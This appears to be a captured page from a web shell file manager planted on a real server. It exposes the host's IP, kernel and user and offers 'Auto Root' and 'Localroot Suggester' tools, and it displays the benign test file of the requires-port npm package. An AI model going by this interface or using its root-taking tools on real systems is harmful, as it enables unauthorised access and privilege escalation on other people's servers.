Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.217.230.80
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
node_modules /
requires-port /
Delete
Unzip
Name
Size
Permission
Date
Action
.npmignore
22
B
-rw-rw-r--
2022-08-30 11:49
.travis.yml
341
B
-rw-rw-r--
2022-08-30 11:49
LICENSE
1.09
KB
-rw-rw-r--
2022-08-30 11:49
README.md
1.77
KB
-rw-rw-r--
2022-08-30 11:49
index.js
753
B
-rw-rw-r--
2022-08-30 11:49
package.json
1.1
KB
-rw-rw-r--
2022-08-30 11:49
test.js
3.31
KB
-rw-rw-r--
2022-08-30 11:49
Save
Rename
describe('requires-port', function () { 'use strict'; var assume = require('assume') , required = require('./'); it('is exported as a function', function () { assume(required).is.a('function'); }); it('does not require empty ports', function () { assume(required('', 'http')).false(); assume(required('', 'wss')).false(); assume(required('', 'ws')).false(); assume(required('', 'cowsack')).false(); }); it('assumes true for unknown protocols',function () { assume(required('808', 'foo')).true(); assume(required('80', 'bar')).true(); }); it('never requires port numbers for file', function () { assume(required(8080, 'file')).false(); }); it('does not require port 80 for http', function () { assume(required('80', 'http')).false(); assume(required(80, 'http')).false(); assume(required(80, 'http://')).false(); assume(required(80, 'http://www.google.com')).false(); assume(required('8080', 'http')).true(); assume(required(8080, 'http')).true(); assume(required(8080, 'http://')).true(); assume(required(8080, 'http://www.google.com')).true(); }); it('does not require port 80 for ws', function () { assume(required('80', 'ws')).false(); assume(required(80, 'ws')).false(); assume(required(80, 'ws://')).false(); assume(required(80, 'ws://www.google.com')).false(); assume(required('8080', 'ws')).true(); assume(required(8080, 'ws')).true(); assume(required(8080, 'ws://')).true(); assume(required(8080, 'ws://www.google.com')).true(); }); it('does not require port 443 for https', function () { assume(required('443', 'https')).false(); assume(required(443, 'https')).false(); assume(required(443, 'https://')).false(); assume(required(443, 'https://www.google.com')).false(); assume(required('8080', 'https')).true(); assume(required(8080, 'https')).true(); assume(required(8080, 'https://')).true(); assume(required(8080, 'https://www.google.com')).true(); }); it('does not require port 443 for wss', function () { assume(required('443', 'wss')).false(); assume(required(443, 'wss')).false(); assume(required(443, 'wss://')).false(); assume(required(443, 'wss://www.google.com')).false(); assume(required('8080', 'wss')).true(); assume(required(8080, 'wss')).true(); assume(required(8080, 'wss://')).true(); assume(required(8080, 'wss://www.google.com')).true(); }); it('does not require port 21 for ftp', function () { assume(required('21', 'ftp')).false(); assume(required(21, 'ftp')).false(); assume(required(21, 'ftp://')).false(); assume(required(21, 'ftp://www.google.com')).false(); assume(required('8080', 'ftp')).true(); assume(required(8080, 'ftp')).true(); assume(required(8080, 'ftp://')).true(); assume(required(8080, 'ftp://www.google.com')).true(); }); it('does not require port 70 for gopher', function () { assume(required('70', 'gopher')).false(); assume(required(70, 'gopher')).false(); assume(required(70, 'gopher://')).false(); assume(required(70, 'gopher://www.google.com')).false(); assume(required('8080', 'gopher')).true(); assume(required(8080, 'gopher')).true(); assume(required(8080, 'gopher://')).true(); assume(required(8080, 'gopher://www.google.com')).true(); }); });